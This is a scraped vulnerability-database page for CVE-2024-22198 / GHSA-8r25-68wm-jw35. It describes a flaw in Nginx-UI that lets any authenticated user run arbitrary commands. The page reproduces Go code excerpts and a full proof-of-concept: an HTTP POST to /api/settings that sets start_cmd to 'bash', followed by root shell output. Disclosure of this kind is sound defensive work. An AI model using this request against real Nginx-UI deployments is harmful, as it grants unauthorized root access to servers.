            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-77"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    }
  }
}

ghsa-8r25-68wm-jw35

Vulnerability from github

Published

2024-01-11 16:32

Modified

2024-05-20 22:04

Severity ?

7.1 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

Details

Summary

Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details

The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

``go func SaveSettings(c *gin.Context) { var json struct { Server settings.Serverjson:"server"` ... }

...

settings.ServerSettings = json.Server

...

err := settings.Save()
...

} ```

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

```go func Pty(c *gin.Context) { ...

p, err := pty.NewPipeLine(ws)

...

} ```

The NewPipeLine function is defined as follows:

```go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)

...

``` This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "start_cmd":"bash" : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <> Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as `root`: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ```

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0.beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-11T16:32:14Z",
    "nvd_published_at": "2024-01-11T20:15:45Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.\n\n### Details\nThe `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\n\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\n\nThe `SaveSettings` function is defined as follows:\n\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        Server settings.Server `json:\"server\"`\n        ...\n    }\n\n    ...\n\n    settings.ServerSettings = json.Server\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\n\nThe `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:\n\n```go\nfunc Pty(c *gin.Context) {\n\t...\n\n\tp, err := pty.NewPipeLine(ws)\n\n\t...\n}\n```\n\nThe [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:\n\n```go\nfunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {\n\tc := exec.Command(settings.ServerSettings.StartCmd)\n\n    ...\n```\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"start_cmd\":\"bash\"` :\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 512\nAuthorization: \u003c\u003cJWT TOKEN\u003e\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"...\",\"node_secret\":\"...\",\"http_challenge_port\":\"9180\",\"email\":\"...\",\"database\":\"foo\",\"start_cmd\":\"bash\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Open a terminal from the web interface and execute arbitrary commands as `root`:\n```\nroot@1de46642d108:/app# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "id": "GHSA-8r25-68wm-jw35",
  "modified": "2024-05-20T22:04:59Z",
  "published": "2024-01-11T16:32:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22198"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)"
}

Action not permitted

cve-2024-22198

Vulnerability from cvelistv5

gsd-2024-22198

Vulnerability from gsd

ghsa-8r25-68wm-jw35

Vulnerability from github

Summary

Details

Proof of Concept

Impact

Tags